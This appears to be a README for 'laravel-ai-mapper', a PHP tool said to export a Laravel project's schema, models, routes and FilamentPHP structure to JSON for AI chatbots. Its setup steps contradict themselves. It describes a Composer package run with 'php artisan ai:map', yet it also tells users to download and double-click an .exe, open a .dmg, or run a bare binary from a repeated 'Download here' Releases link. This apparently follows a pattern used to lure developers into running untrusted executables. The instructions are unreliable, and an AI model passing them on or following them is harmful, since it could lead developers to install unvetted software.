The laravel-ai-mapper helps you easily scan and map your project's database schema, models, routes, and FilamentPHP structure. It exports this information into a JSON file, making it simpler to use with AI models like ChatGPT or Gemini. This application is designed to aid developers in organizing their projects effortlessly.
Follow these steps to download and run the laravel-ai-mapper:
-
System Requirements
- Operating System: Windows, macOS, or Linux
- PHP: Version 7.4 or higher
- Composer: Installed and configured
-
Visit the Release Page
To download the application, go to the Releases page:
Download here
-
Locate the Latest Release
When you visit the Releases page, find the latest version available for download. -
Download the Files
Click on the appropriate file to start the download. The suitable options will be marked clearly. -
Run the Application
- For Windows: Double-click on the downloaded
.exe
file to start the application. - For macOS: Open the
.dmg
file and drag the application to your Applications folder. - For Linux: Use the terminal. Navigate to the downloaded file's directory and run
./filename
.
- For Windows: Double-click on the downloaded
-
Prepare Your Project
Ensure your Laravel project is properly set up with models, routes, and database migrations. -
Open the Command Line
Use the terminal or command prompt to access your Laravel project folder. -
Run the Artisan Command
Execute the following command:php artisan ai:map
-
Check the Output
After running the command, a JSON file will be generated. This file contains essential information about your database schema, models, and more. -
Utilize the JSON File
Use this JSON file with AI models or any other compatible tools to enhance your development workflow.
- Database Schema Mapping: Automatically map your database structure.
- Model Association: Understand relationships between different models easily.
- Route Mapping: Get an overview of defined routes in your project.
- FilamentPHP Integration: Seamlessly use with the FilamentPHP framework for rich UIs.
- AI Compatibility: Prepare your project data for AI-based applications.
If you encounter any issues during installation or usage, consider the following steps:
-
Ensure System Compatibility
Double-check that you meet the system requirements. -
Check PHP and Composer Versions
Use the commandsphp -v
andcomposer -v
to confirm they are up to date. -
Review Command Syntax
Ensure that you typed the Artisan command correctly. -
Look at the GitHub Issues
Visit the Issues section of this repository for common problems and solutions.
Remember, you can download the application easily from the Releases page:
Download here